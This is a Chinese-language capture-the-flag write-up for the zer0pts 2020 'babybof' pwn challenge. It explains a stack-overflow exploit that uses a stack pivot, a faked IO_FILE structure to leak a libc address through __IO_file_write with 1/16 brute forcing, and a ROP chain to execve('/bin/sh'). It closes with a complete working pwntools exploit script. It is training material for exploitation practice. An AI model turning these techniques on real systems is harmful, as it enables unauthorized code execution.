代码分析
main
函数
main
函数下就只有一个read
函数,且是一个很明显的栈溢出漏洞,但是程序没有其他能够可以泄露出来的函数例如:printf
、puts
,在遇到这种情况,很有可能是要利用read
函数的偏移去得到syscall
的gadget
,所以我们现在检查一下程序的保护机制
保护机制
很明显我们上面想的操作并不能实现,因为RELRO
保护是Full RELRO
,我们不能修改got表,所以并不能修改read的libc地址,所以下面我们最好是看看有没有可以利用的gadget
搜索gadget
这里发现了在0x000000000040043e
的gadget
:call qword ptr [rbp + 0x48]
思路
可以控制rbp
地址为存放我们要执行的地址-0x48
的位置就可以指向该地址的指令,所以网上看到的大多数解法都是修改stderr
等在bss
段上的libc地址,通过爆破1/4096
次概率getshell
,但是做这题时,我想到pwnable.tw
上的一道题**De-ASLR
**,通过这题了解到了我们可以利用stderr
等IO_File
地址实现泄露libc地址,这是学习文章
所以我随之想到了可以利用这个方法实现,在文章中它使用条件是
- 利用
gets
函数在bss
上留下_IO_2_1_stdin
地址
- 利用
_libc_csu_init
的上的gadget
精确定位地址我们要的__IO_file_write
函数
- 在
bss
上伪造fileno==1
和flag2==2
满足__IO_file_write
函数泄露地址要求
我们在上面有只有一个不满足即是这个程序编译时没有_libc_csu_init
所以我们无法精确定位对应的位置,所以我们这里大概率还是需要去猜地址
所以我们现在需要看看_IO_2_1_stder
等地址与__IO_file_write
函数距离是多少,如果只是后2字节不一样,那么我们只用爆破1/16
次的概率
gdb
找偏移
可以很明显看到,这个偏移不会超过两个字节,所以我们现在爆破概率就变成了1/16
的概率
所以我们现在就只需要修改stderr
的值为存放__IO_file_write
函数的地址值,通过leave_ret
栈迁移到这个位置上(当然也可以pop rbp
),使得rbp
等于存放__IO_file_write
函数的地址值
然后再bss
上伪造fake_IO_FILE
,实际上就是满足fileno==1
和flag2==2
其他都可以不用管,然后在我们设置好__IO_file_write
函数调用的参数:
然后我们就可以泄露出来libc地址了,再通过我们栈布局提前布置ROP
在构造一个read
,就可以继续写入ROP chain
,然后getshell
坑点
我们call qword ptr [rbp + 0x48]
的gadget
实际上是在setup
函数偏移构成,所以我们还需要绕过这段函数:
1 2 3 4 5 6 7 8 9 10 11
| mov rax, offset stdin@@GLIBC_2_2_5 mov rdi, [rax] ; stream call _setbuf mov rax, offset stdout@@GLIBC_2_2_5 mov rdi, [rax] ; stream call _setbuf mov rax, offset stderr@@GLIBC_2_2_5 mov rdi, [rax] ; stream call _setbuf pop rbp retn
|
因为此时此刻stderr
已经被我们修改为存放__IO_file_write
函数的地址值,这段肯定是通过不了,因为要一个IO_FILE结构指针,所以我们可以在call __IO_file_write
前把stderr
的值恢复回去(因为如果我们预测对了__IO_file_write
的值,那么stderr
的地址肯定也是那个值),然后再执行就可以绕过去了
并且我们不能直接用system("/bin/sh")
,这里最好是用execve("/bin/sh",0,0)
系统调用来getshell
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import* context(arch='amd64', os='linux',log_level="debug") context.terminal=["wt.exe","wsl.exe"] libc = ELF("./libc-2.23.so")
def get_p(name): global p,elf p = process(name,env={"LD_PRELOAD":"./libc-2.23.so"}) elf = ELF(name)
pop_rdi = 0x000000000040049c pop_rsi = 0x000000000040049e pop_rbp = 0x000000000040047c leave_ret = 0x0000000000400499 stderr = 0x0601040 call = 0x000000000040043e ret = 0x000000000040047d def pwn():
get_p("./zer0pts_2020_babybof")
payload = b"A"*0x20 + p64(stderr) + p64(pop_rsi) + p64(stderr) + p64(elf.plt['read']) payload += p64(pop_rsi) + p64(stderr + 0x200) + p64(elf.plt['read']) payload += p64(pop_rsi) + p64(stderr+8) + p64(elf.plt['read']) payload += p64(pop_rsi) + p64(stderr) + p64(leave_ret) p.send(payload) sleep(0.2) p.send(p16(0x6758-0x48)) sleep(0.2) p.send(p64(1)+p64(2)) sleep(0.2) p.send(p64(ret)*0x20 + p64(elf.plt['read']) + p64(pop_rsi) + p64(elf.got['read']) + p64(pop_rdi) + p64(stderr + 0x200 - (0x8*14)) + p64(call)+ p64(0)+ p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x6011a0)+p64(elf.plt['read'])) sleep(0.2) p.send(p16(0x8540)) libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - libc.sym['read'] if libc.address == 0 : exit(0)
while True: try : libc.address = 0 pwn() system = libc.sym['system'] binsh = next(libc.search(b"/bin/sh")) pop_rax = 0x0000000000033544 + libc.address pop_rdx = 0x0000000000001b92 + libc.address syscall = 0x00000000000026bf + libc.address payload = b"/bin/sh\x00" + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(0x6011a0) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall) p.send(payload) p.interactive() except: p.close()
|